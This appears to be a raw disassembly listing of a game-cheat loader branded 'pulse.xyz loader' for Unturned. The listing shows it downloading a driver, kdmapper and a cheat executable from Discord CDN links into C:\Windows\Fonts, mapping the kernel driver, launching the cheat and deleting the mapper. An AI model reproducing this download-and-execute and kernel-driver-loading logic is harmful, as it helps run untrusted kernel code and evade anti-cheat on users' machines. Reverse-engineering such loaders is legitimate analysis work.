lea rcx, str.del_C:_Windows_Fonts_mapper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str.by_pressing_ok__nthis_will_load___unturned_external
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, str.https:__cdn.discordapp.com_attachments_1210727005989904384_1210727074562838568_driver.sys_ex65eb9c74is65d92774hm42fe0405d8e69266b8886c7c1318738a5e1e1748c555d087283cbff7750d8688
lea rcx, [rbp + 0x518]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_driver.sys
lea rcx, [rbp + 0x558]
call fcn.140109f13
nop
lea rcx, [rbp + 0x558]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x518]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rdx, str.https:__cdn.discordapp.com_attachments_1210727005989904384_1210746246608851034_kdmapper.exe_ex65ebae4fis65d9394fhmc8fcc6065a768c2ed9c219374cfa72cb6b92c800cbb349a981ebe6cf423f5f77
lea rcx, [rbp + 0x598]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_mapper.exe
lea rcx, [rbp + 0x5d8]
call fcn.140109f13
nop
lea rcx, [rbp + 0x5d8]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x598]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
lea rdx, str.https:__cdn.discordapp.com_attachments_1210399157035073599_1212130163165372496_unturned.exe_ex65f0b72fis65de422fhma83cea9593396a06099244ed9d81c704be6745b9da15babea3ec1bbae1202bde
lea rcx, [rbp + 0x618]
call fcn.140109f13
nop
lea rdx, str.C:_Windows_Fonts_unturned.exe
lea rcx, [rbp + 0x658]
call fcn.140109f13
lea rcx, [rbp + 0x658]
call fcn.140108604
mov qword [rbp + 0x1488], rax
lea rcx, [rbp + 0x618]
call fcn.140108604
mov qword [rbp + 0x1490], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x1488]
mov rdx, qword [rbp + 0x1490]
xor ecx, ecx
call fcn.140108f28
mov r9d, Ordinal_41
lea r8, str.pulse.xyz_loader
lea rdx, str.load_drivers___only_once_per_windows_bootup_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rbp + 0x694], eax
cmp dword [rbp + 0x694], 6
jne 0x140260954
lea rcx, str.C:_Windows_Fonts_mapper.exe_C:_Windows_Fonts_driver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.start_C:_Windows_Fonts_unturned.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140260961
lea rcx, str.start_C:_Windows_Fonts_unturned.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x658]
call fcn.140108cfd
nop
lea rcx, [rbp + 0x618]
call fcn.140108cfd
nop
lea rcx, [rbp + 0x5d8]
call fcn.140108cfd
nop
lea rcx, [rbp + 0x598]
call fcn.140108cfd
nop
lea rcx, [rbp + 0x558]
call fcn.140108cfd
nop
lea rcx, [rbp + 0x518]
call fcn.140108cfd
mov byte [rbp + 0x34], 1
jmp 0x1402609b9
jmp 0x140260110
movzx eax, byte [rbp + 0x34]
test eax, eax
jne 0x1402609da
xor r9d, r9d
lea r8, str.pulse.xyz_loader
lea rdx, str.You_do_not_have_a_active_subscription_for_this_product.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movzx eax, byte [0x1404380c9]
test eax, eax
je 0x140260a2a
xorps xmm2, xmm2
movss xmm1, dword [0x14033e354]
lea rcx, [rbp + 0x1474]
call fcn.14010aaa3
mov qword [rbp + 0x1488], rax
movss xmm0, dword [0x1404380d0]
movss dword [rbp + 0x1490], xmm0
xor r8d, r8d
mov rdx, qword [rbp + 0x1488]
movss xmm0, dword [rbp + 0x1490]
call fcn.14010c39e
call fcn.14010b890
call fcn.140109e37
lea rcx, [rbp - 0x40]
lea rdx, reloc.WS2_32.dll_socket
call fcn.14010b836
mov rcx, qword [rbp + 0x14e0]
xor rcx, rbp
call fcn.14010a0e4
lea rsp, [rbp + 0x14f8]
pop rdi
pop rbp
ret